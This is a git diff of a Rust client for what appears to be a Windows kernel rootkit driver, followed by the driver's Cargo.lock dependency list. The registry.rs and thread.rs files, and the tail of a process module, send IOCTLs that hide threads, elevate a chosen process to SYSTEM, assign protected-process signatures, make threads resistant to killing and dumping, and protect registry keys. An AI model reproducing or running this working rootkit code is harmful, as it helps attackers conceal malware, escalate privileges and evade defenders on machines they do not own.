if info_process[i].pids > 0 {
|
||||||
|
println!("[{}] {}", i, info_process[i].pids);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn signature_process(pid: Option<&u32>, ioctl_code: u32, sg: &PS_PROTECTED_SIGNER, tp: &PS_PROTECTED_TYPE) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let sg = *sg as usize;
|
||||||
|
let tp = *tp as usize;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut info_protection_process = ProcessSignature {
|
||||||
|
pid,
|
||||||
|
sg,
|
||||||
|
tp,
|
||||||
|
};
|
||||||
|
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_protection_process as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<ProcessSignature>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
println!("[+] Process with PID {pid} successfully protected");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn elevate_process(pid: Option<&u32>, ioctl_code: u32) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut target_process = TargetProcess {
|
||||||
|
pid,
|
||||||
|
};
|
||||||
|
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<TargetProcess>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
println!("[+] Process with PID {pid} elevated to System")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("[-] PID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
70
client/src/registry.rs
Normal file
70
client/src/registry.rs
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
use {
|
||||||
|
crate::driver::open_driver,
|
||||||
|
std::{ffi::c_void, ptr::null_mut},
|
||||||
|
shared::structs::TargetRegistry,
|
||||||
|
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn registry_protection_value(ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut info_registry = TargetRegistry {
|
||||||
|
enable,
|
||||||
|
value: value.to_string(),
|
||||||
|
key: key.to_string()
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_registry as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<TargetRegistry>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
println!("[+] Registry value operation succeeded!");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn registry_protection_key(ioctl_code: u32, key: &String, enable: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut info_registry = TargetRegistry {
|
||||||
|
enable,
|
||||||
|
key: key.to_string(),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_registry as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<TargetRegistry>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
println!("[+] Registry key operation succeeded!");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
132
client/src/thread.rs
Normal file
132
client/src/thread.rs
Normal file
@@ -0,0 +1,132 @@
|
|||||||
|
use {
|
||||||
|
crate::{cli::Options, driver::open_driver},
|
||||||
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
|
shared::{structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}, vars::MAX_TIDS},
|
||||||
|
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn hide_unhide_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
|
||||||
|
if let Some(tid_value) = tid {
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let tid = *tid_value as usize;
|
||||||
|
let mut target_thread = TargetThread {
|
||||||
|
tid,
|
||||||
|
enable
|
||||||
|
};
|
||||||
|
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_thread as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<TargetThread>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
if enable {
|
||||||
|
println!("[+] Process with TID {tid} successfully hidden");
|
||||||
|
} else {
|
||||||
|
println!("[+] Process with TID {tid} successfully unhidden");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("[-] TID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub fn protection_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
|
||||||
|
if let Some(tid_value) = tid {
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let tid = *tid_value as usize;
|
||||||
|
let mut target_process = shared::structs::ThreadProtection {
|
||||||
|
tid,
|
||||||
|
enable
|
||||||
|
};
|
||||||
|
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<shared::structs::ThreadProtection>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
if enable {
|
||||||
|
println!("[+] Thread TID {tid} with anti-kill and dumping functions enabled");
|
||||||
|
} else {
|
||||||
|
println!("[+] Thread TID {tid} with anti-kill and dumping functions disabled");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("[-] TID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn enumerate_thread(ioctl_code: u32, option: &Options) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut info_thread: [ThreadListInfo; MAX_TIDS] = unsafe { std::mem::zeroed() };
|
||||||
|
let mut enumeration_input = EnumerateInfoInput {
|
||||||
|
options: option.to_shared()
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut enumeration_input as *mut _ as *mut c_void,
|
||||||
|
size_of::<EnumerateInfoInput>() as u32,
|
||||||
|
info_thread.as_mut_ptr() as *mut _,
|
||||||
|
(info_thread.len() * size_of::<ThreadListInfo>()) as u32,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
let total_process = return_buffer as usize / size_of::<ThreadListInfo>();
|
||||||
|
println!("[+] Total Threads: {}", total_process);
|
||||||
|
for i in 0..total_process {
|
||||||
|
if info_thread[i].tids > 0 {
|
||||||
|
println!("[{}] {}", i, info_thread[i].tids);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
2
driver/.gitignore
vendored
Normal file
2
driver/.gitignore
vendored
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
/target
|
||||||
|
/src/backup
|
||||||
989
driver/Cargo.lock
generated
Normal file
989
driver/Cargo.lock
generated
Normal file
@@ -0,0 +1,989 @@
|
|||||||
|
# This file is automatically @generated by Cargo.
|
||||||
|
# It is not intended for manual editing.
|
||||||
|
version = 3
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ahash"
|
||||||
|
version = "0.8.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e89da841a80418a9b391ebaea17f5c112ffaaa96f621d2c285b5174da76b9011"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"once_cell",
|
||||||
|
"version_check",
|
||||||
|
"zerocopy",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aho-corasick"
|
||||||
|
version = "1.1.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
|
||||||
|
dependencies = [
|
||||||
|
"memchr",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "allocator-api2"
|
||||||
|
version = "0.2.18"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5c6cb57a04249c6480766f7f7cef5467412af1490f8d1e243141daddada3264f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstream"
|
||||||
|
version = "0.6.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "418c75fa768af9c03be99d17643f93f79bbba589895012a80e3452a19ddda15b"
|
||||||
|
dependencies = [
|
||||||
|
"anstyle",
|
||||||
|
"anstyle-parse",
|
||||||
|
"anstyle-query",
|
||||||
|
"anstyle-wincon",
|
||||||
|
"colorchoice",
|
||||||
|
"is_terminal_polyfill",
|
||||||
|
"utf8parse",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle"
|
||||||
|
version = "1.0.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "038dfcf04a5feb68e9c60b21c9625a54c2c0616e79b72b0fd87075a056ae1d1b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle-parse"
|
||||||
|
version = "0.2.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c03a11a9034d92058ceb6ee011ce58af4a9bf61491aa7e1e59ecd24bd40d22d4"
|
||||||
|
dependencies = [
|
||||||
|
"utf8parse",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle-query"
|
||||||
|
version = "1.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle-wincon"
|
||||||
|
version = "3.0.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
|
||||||
|
dependencies = [
|
||||||
|
"anstyle",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anyhow"
|
||||||
|
version = "1.0.86"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b3d1d046238990b9cf5bcde22a3fb3584ee5cf65fb2765f454ed428c7a0063da"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "autocfg"
|
||||||
|
version = "1.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bindgen"
|
||||||
|
version = "0.69.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a00dc851838a2120612785d195287475a3ac45514741da670b735818822129a0"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags",
|
||||||
|
"cexpr",
|
||||||
|
"clang-sys",
|
||||||
|
"itertools",
|
||||||
|
"lazy_static",
|
||||||
|
"lazycell",
|
||||||
|
"log",
|
||||||
|
"prettyplease",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"regex",
|
||||||
|
"rustc-hash",
|
||||||
|
"shlex",
|
||||||
|
"syn",
|
||||||
|
"which",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bitfield"
|
||||||
|
version = "0.15.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c821a6e124197eb56d907ccc2188eab1038fb919c914f47976e64dd8dbc855d1"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bitflags"
|
||||||
|
version = "2.6.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "camino"
|
||||||
|
version = "1.1.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e0ec6b951b160caa93cc0c7b209e5a3bff7aae9062213451ac99493cd844c239"
|
||||||
|
dependencies = [
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cargo-platform"
|
||||||
|
version = "0.1.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "24b1f0365a6c6bb4020cd05806fd0d33c44d38046b8bd7f0e40814b9763cabfc"
|
||||||
|
dependencies = [
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cargo_metadata"
|
||||||
|
version = "0.18.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2d886547e41f740c616ae73108f6eb70afe6d940c7bc697cb30f13daec073037"
|
||||||
|
dependencies = [
|
||||||
|
"camino",
|
||||||
|
"cargo-platform",
|
||||||
|
"semver",
|
||||||
|
"serde",
|
||||||
|
"serde_json",
|
||||||
|
"thiserror",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cexpr"
|
||||||
|
version = "0.6.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766"
|
||||||
|
dependencies = [
|
||||||
|
"nom",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cfg-if"
|
||||||
|
version = "1.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clang-sys"
|
||||||
|
version = "1.8.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4"
|
||||||
|
dependencies = [
|
||||||
|
"glob",
|
||||||
|
"libc",
|
||||||
|
"libloading",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap"
|
||||||
|
version = "4.5.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "64acc1846d54c1fe936a78dc189c34e28d3f5afc348403f28ecf53660b9b8462"
|
||||||
|
dependencies = [
|
||||||
|
"clap_builder",
|
||||||
|
"clap_derive",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap-cargo"
|
||||||
|
version = "0.14.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f6e2fd20c8f8c7cc395f69a86a61eb9d93e1de8fadc00338508cde2ffc656388"
|
||||||
|
dependencies = [
|
||||||
|
"anstyle",
|
||||||
|
"clap",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_builder"
|
||||||
|
version = "4.5.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6fb8393d67ba2e7bfaf28a23458e4e2b543cc73a99595511eb207fdb8aede942"
|
||||||
|
dependencies = [
|
||||||
|
"anstream",
|
||||||
|
"anstyle",
|
||||||
|
"clap_lex",
|
||||||
|
"strsim",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_derive"
|
||||||
|
version = "4.5.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2bac35c6dafb060fd4d275d9a4ffae97917c13a6327903a8be2153cd964f7085"
|
||||||
|
dependencies = [
|
||||||
|
"heck",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_lex"
|
||||||
|
version = "0.7.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4b82cf0babdbd58558212896d1a4272303a57bdb245c2bf1147185fb45640e70"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "colorchoice"
|
||||||
|
version = "1.0.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "either"
|
||||||
|
version = "1.13.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "errno"
|
||||||
|
version = "0.3.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "534c5cf6194dfab3db3242765c03bbe257cf92f22b38f6bc0c58d59108a820ba"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "glob"
|
||||||
|
version = "0.3.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "hashbrown"
|
||||||
|
version = "0.14.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
|
||||||
|
dependencies = [
|
||||||
|
"ahash",
|
||||||
|
"allocator-api2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "heck"
|
||||||
|
version = "0.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "home"
|
||||||
|
version = "0.5.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "is_terminal_polyfill"
|
||||||
|
version = "1.70.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "itertools"
|
||||||
|
version = "0.12.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569"
|
||||||
|
dependencies = [
|
||||||
|
"either",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "itoa"
|
||||||
|
version = "1.0.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "kernel-log"
|
||||||
|
version = "0.1.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "06b5ee5695dd804af238686a91fcd20c4c32a0582cc4382f54b5fb015603d9c4"
|
||||||
|
dependencies = [
|
||||||
|
"log",
|
||||||
|
"ntapi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lazy_static"
|
||||||
|
version = "1.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||||
|
dependencies = [
|
||||||
|
"spin",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lazycell"
|
||||||
|
version = "1.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libc"
|
||||||
|
version = "0.2.155"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libloading"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e310b3a6b5907f99202fcdb4960ff45b93735d7c7d96b760fcff8db2dc0e103d"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "linux-raw-sys"
|
||||||
|
version = "0.4.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lock_api"
|
||||||
|
version = "0.4.12"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17"
|
||||||
|
dependencies = [
|
||||||
|
"autocfg",
|
||||||
|
"scopeguard",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "log"
|
||||||
|
version = "0.4.22"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "matchers"
|
||||||
|
version = "0.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558"
|
||||||
|
dependencies = [
|
||||||
|
"regex-automata 0.1.10",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "memchr"
|
||||||
|
version = "2.7.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "minimal-lexical"
|
||||||
|
version = "0.2.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "nom"
|
||||||
|
version = "7.1.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
|
||||||
|
dependencies = [
|
||||||
|
"memchr",
|
||||||
|
"minimal-lexical",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ntapi"
|
||||||
|
version = "0.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4"
|
||||||
|
dependencies = [
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "nu-ansi-term"
|
||||||
|
version = "0.46.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84"
|
||||||
|
dependencies = [
|
||||||
|
"overload",
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "obfstr"
|
||||||
|
version = "0.4.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e3ba2979b86cc910a6d13837ef97fef0c6b68fa807c5e014d622449db18351dc"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "once_cell"
|
||||||
|
version = "1.19.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "overload"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pin-project-lite"
|
||||||
|
version = "0.2.14"
|
